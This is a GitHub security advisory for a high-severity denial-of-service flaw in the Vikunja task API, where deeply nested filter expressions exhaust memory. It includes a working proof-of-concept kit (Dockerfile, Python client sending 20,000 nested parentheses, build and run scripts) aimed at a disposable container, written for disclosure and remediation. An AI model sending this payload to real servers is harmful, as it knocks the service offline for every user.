GitHub Advisoryadvisory · Go
GHSA-xxc3-xpmc-vmvr Vikunja: Unbounded nested task-filter recursion permits API process termination
HIGH
Official page ↗
- Aliases
- CVE-2026-91968
- Ecosystem
- Go
- Packages
- code.vikunja.io/api
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- Weaknesses
- CWE-674
- Reviewed
- 2026-10-09
Affected packages
• Go code.vikunja.io/api: >= 2.5.0, < 2.6.0 → fixed in 2.6.0
Description
Unbounded nested task-filter recursion permits API process termination
Summary
Authenticated task-list routes accept a filter expression without a length or nesting-depth bound, preprocess it, parse it recursively through fexpr, and recursively convert the resulting expression tree. A syntactically valid deeply nested expression well below the HTTP request-size ceiling exhausts memory and kills the API process.
Impact and affected scope
• Type: Resource Exhaustion Recursive Parser
• Affected component: GET /api/v2/projects/{project}/tasks?filter=; Other authenticated task-collection entrypoints that share getTaskFiltersFromFilterString
• Preconditions: A low-privileged authenticated user supplies thousands of balanced parentheses around a valid task predicate in the filter query parameter.
• Verified revision: `349cd5adbcc831ef08b08e6c9c6d627603c39606` on 28 August 2026
• Affected release range: `= 2.5.0`; broader historical range not established and maintainer confirmation requested
A single low-privileged network request can terminate the API process and deny service to all users.
Technical details
The server preprocesses and recursively parses/traverses an unbounded filter expression without rejecting excessive length or depth.
Attack path: Authenticate, request an accessible project's task collection with 20,000 nested parenthesis pairs around id = 1, and drive parser and expression-tree memory growth until the process is killed.
Relevant code:
• `pkg/models/task_collection_filter.go:240`
• `pkg/models/task_collection_filter.go:268`
• `pkg/models/task_collection_filter.go:274`
• `pkg/models/task_collection_filter.go:276`
• `pkg/models/task_collection_filter.go:295`
Reproduction
Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.
Create `reproduction/Dockerfile`:
```text
FROM golang:1.27.0-alpine
RUN apk add --no-cache bash build-base ca-certificates python3 tzdata
WORKDIR /app
COPY . /app
RUN chmod +x /app/*.sh 2>/dev/null || true
Target source is supplied only at runtime through /target-repo:ro.
This image contains build dependencies and reproduction helpers, not a clone.
```
Create `reproduction/client.py`:
```python
!/usr/bin/env python3
import json
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
BASE = "http://target:3456"
def request(method, path, body=None, token=None, expected=None, timeout=30):
raw = None if body is None else json.dumps(body).encode()
headers = {"Accept": "application/json"}
if body is not None:
headers["Content-Type"] = "application/json"
if token:
headers["Authorization"] = "Bearer " + token
req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method)
try:
with urllib.request.urlopen(req, timeout=timeout) as response:
status, data = response.status, response.read()
except urllib.error.HTTPError as exc:
status, data = exc.code, exc.read()
print(f"{method} {path[:160]} -> {status} {data[:200].decode(errors='replace')}", flush=True)
if expected is not None and status != expected:
raise RuntimeError(f"{method}: got {status}, expected {expected}")
return status, json.loads(data.decode()) if data else {}
def wait_ready():
for _ in range(240):
try:
if request("GET", "/api/v1/info")[0] == 200:
return
except Exception:
pass
time.sleep(0.25)
raise RuntimeError("target did not become ready")
def filter_path(project_id, depth):
expression = "(" * depth + "id = 1" + ")" * depth
path = f"/api/v2/projects/{project_id}/tasks?filter=" + urllib.parse.quote(expression, safe="")
print(f"PoC_FILTER_REQUEST depth={depth} target_bytes={len(path)}", flush=True)
return path
def main():
wait_ready()
username, password = "PoC-filter-user", "PoC-password-123!"
request("POST", "/api/v2/register", {
"username": username,
"email": username + "@example.invalid",
"password": password,
}, expected=201)
_, login = request("POST", "/api/v2/login", {"username": username, "password": password}, expected=200)
token = login["token"]
_, project = request("PUT", "/api/v1/projects", {"title": "PoC filter project"}, token, 201)
started = time.monotonic()
request("GET", filter_path(project["id"], 1000), token=token, expected=200)
print(f"PoC_FILTER_CONTROL=PASS elapsed={time.monotonic() - started:.3f}s", flush=True)
try:
status, _ = request("GET", filter_path(project["id"], 20000), token=token, timeout=90)
raise RuntimeError(f"attack unexpectedly returned HTTP {status}")
except (TimeoutError, ConnectionError, urllib.error.URLError, OSError) as exc:
print(f"PoC_FILTER_ATTACK_DISCONNECTED error={type(exc).__name__}", flush=True)
print("PoC_FILTER_ATTACK_SENT depth=20000", flush=True)
if __name__ == "__main__":
try:
main()
except Exception as exc:
print(f"PoC_FILTER_CLIENT=FAIL {exc}", file=sys.stderr, flush=True)
raise
```
Create `reproduction/prepare.sh`:
```sh
!/usr/bin/env bash
set -euo pipefail
mkdir -p /work/repo
cp -a /target-repo/. /work/repo/
mkdir -p /work/repo/frontend/dist
cp /app/frontend-placeholder.html /work/repo/frontend/dist/index.html
cd /work/repo
CGO_ENABLED=1 go build \
-tags osusergo \
-ldflags '-s -w -X code.vikunja.io/api/pkg/version.Version=PoC-reproduction' \
-o /output/vikunja .
chmod 0755 /output/vikunja
if [[ -f /app/probe.go ]]; then
go build -o /output/probe /app/probe.go
chmod 0755 /output/probe
fi
```
Create `reproduction/run.sh`:
```sh
!/usr/bin/env bash
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
FINDING_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)"
SESSION_DIR="$(cd "${FINDING_DIR}/.." && pwd)"
CASE_ID="$(basename "${SESSION_DIR}")"
FINDING_NAME="$(basename "${FINDING_DIR}")"
IMAGE_TAG="PoC-${CASE_ID}-${FINDING_NAME}"
TARGET_REPO_URL="https://github.com/go-vikunja/vikunja.git"
TARGET_REF="349cd5adbcc831ef08b08e6c9c6d627603c39606"
WORKDIR="$(mktemp -d "${SESSION_DIR}/.PoC-reproduction.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
BUILD_DIR="${WORKDIR}/build"
DATA_DIR="${WORKDIR}/data"
NETWORK="${IMAGE_TAG}-net-$$"
TARGET_CONTAINER="${IMAGE_TAG}-target-$$"
cleanup() {
docker rm -f "${TARGET_CONTAINER}" >/dev/null 2>&1 || true
docker network rm "${NETWORK}" >/dev/null 2>&1 || true
rm -rf "${WORKDIR}"
}
trap cleanup EXIT
mkdir -p "${BUILD_DIR}" "${DATA_DIR}/files"
chmod 0777 "${BUILD_DIR}" "${DATA_DIR}" "${DATA_DIR}/files"
echo "[PoC] cloning and pinning target ${TARGET_REF}"
git clone --filter=blob:none --no-checkout "${TARGET_REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --detach "${TARGET_REF}"
echo "[PoC] building helper image ${IMAGE_TAG}"
docker build -t "${IMAGE_TAG}" "${SCRIPT_DIR}"
docker run --rm -v "${TARGET_REPO_DIR}:/target-repo:ro" -v "${BUILD_DIR}:/output" "${IMAGE_TAG}" /app/prepare.sh
docker network create "${NETWORK}" >/dev/null
docker run --detach --name "${TARGET_CONTAINER}" \
--network "${NETWORK}" --network-alias target \
--memory 512m --memory-swap 512m --pids-limit 256 \
-v "${BUILD_DIR}/vikunja:/app/vikunja:ro" --tmpfs /data:rw,exec,mode=1777 \
-e VIKUNJA_SERVICE_INTERFACE=:3456 -e VIKUNJA_SERVICE_PUBLICURL=http://target:3456/ \
-e VIKUNJA_SERVICE_ROOTPATH=/data -e VIKUNJA_SERVICE_JWTSECRET=PoC-reproduction-secret \
-e VIKUNJA_SERVICE_ENABLEREGISTRATION=true -e VIKUNJA_DATABASE_TYPE=sqlite \
-e VIKUNJA_DATABASE_PATH=/data/vikunja.db -e VIKUNJA_FILES_BASEPATH=/data/files \
-e VIKUNJA_MAILER_ENABLED=false -e VIKUNJA_REDIS_ENABLED=false -e VIKUNJA_LO…
Related
Alias · CVE (1)
- CVE-2026-91968 vikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the task-filter endpoint that accepts deeply nested filter… vulnerability
Weakness · CWE (1)
- CWE-674 Uncontrolled Recursion weakness
References
- https://github.com/go-vikunja/vikunja/security/advisories/GHSA-xxc3-xpmc-vmvr web
- https://nvd.nist.gov/vuln/detail/CVE-2026-91968 advisory
- https://github.com/go-vikunja/vikunja/pull/3688 web
- https://github.com/go-vikunja/vikunja package
- https://github.com/go-vikunja/vikunja/releases/tag/v2.6.0 web
- https://www.vulncheck.com/advisories/vikunja-before-2.6.0-denial-of-service-via-unbounded-filter-recursion web